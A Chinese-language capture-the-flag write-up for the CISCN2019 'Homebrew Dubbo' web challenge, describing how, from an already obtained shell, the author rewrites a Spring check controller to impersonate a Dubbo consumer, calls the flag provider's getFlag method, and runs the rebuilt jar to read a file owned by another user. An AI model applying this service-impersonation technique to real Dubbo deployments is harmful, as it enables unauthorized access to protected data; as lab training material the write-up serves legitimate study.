[CISCN2019 总决赛 Day1 Web2]Homebrew Dubbo

/ 0评 / 0

在DASCTF七月赛中,出现了一道homebrew的题目,那个题目为BUU这个题目的简化版,前面执行命令基本相似,使用HASH拓展攻击
本文主要讲述后半部分调用java2用户拿到flag的过程
执行命令请参考:
https://old-blog.manqiu.top/2020/07/25/dasctf-2020-7write-up/#Homebrew-Dubbo
 
相比DAS的homebrew2 本题没有了redis部分,拿到shell后可以注意到本机是java3 而flag 为java2用户所拥有,所以我们需要的是调用java2用户拿flag

根据之前的逻辑,我们审计这里发现

FileInputStream fis = new FileInputStream("/flag");
String data = IOUtils.toString(fis, "UTF-8");
returnHashmap.put("flag", data);

会将flag的内容进行return
别忘了。我们还有一个check接口没有用到

可以很明显的发现这里return了

dubboCallUtil.getAllNodes()

跟进可以发现


这里可以返回一个字符串,那么我们可不可以伪造flag接口呢?

在开发文档中我们见到了这样一句话。那我们的思路就明确了
重写check接口,让其调用getflag方法。从而returnflag
也就是我们可以伪装成消费者,去欺骗生产者调用getflag,然后启动多个服务,而消费者可以调用之前生成flag的一个服务,从而获得flag

将check接口重写,使其新建hashmap类让其调用flag_provider.service的getflag方法。

public class CheckController {
    @Autowired
    private DubboCallUtil dubboCallUtil;
    @GetMapping(value = "")
    public ResponseData show() throws IllegalStateException {
        HashMap<String,Object> requestHashMap = new HashMap<>();
        HashMap<String,Object> returnHashMap = this.dubboCallUtil.callWithRetry("in.zhaoj.homebrew_dubbo.flag_provider.service","getFlag",requestHashMap);
        return new ResponseData(ResponseData.CODE_SUCCESS,returnHashMap);
    }
}

修改服务端口

使用idea重新编译fronted_consumer,并根据之前拿到的shell下载此jar
java -Dspring.profiles.active=prod -jar (jar 包名字).jar
然后用另一个shell去curl自己起服务的check端口。即可回显出flag

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注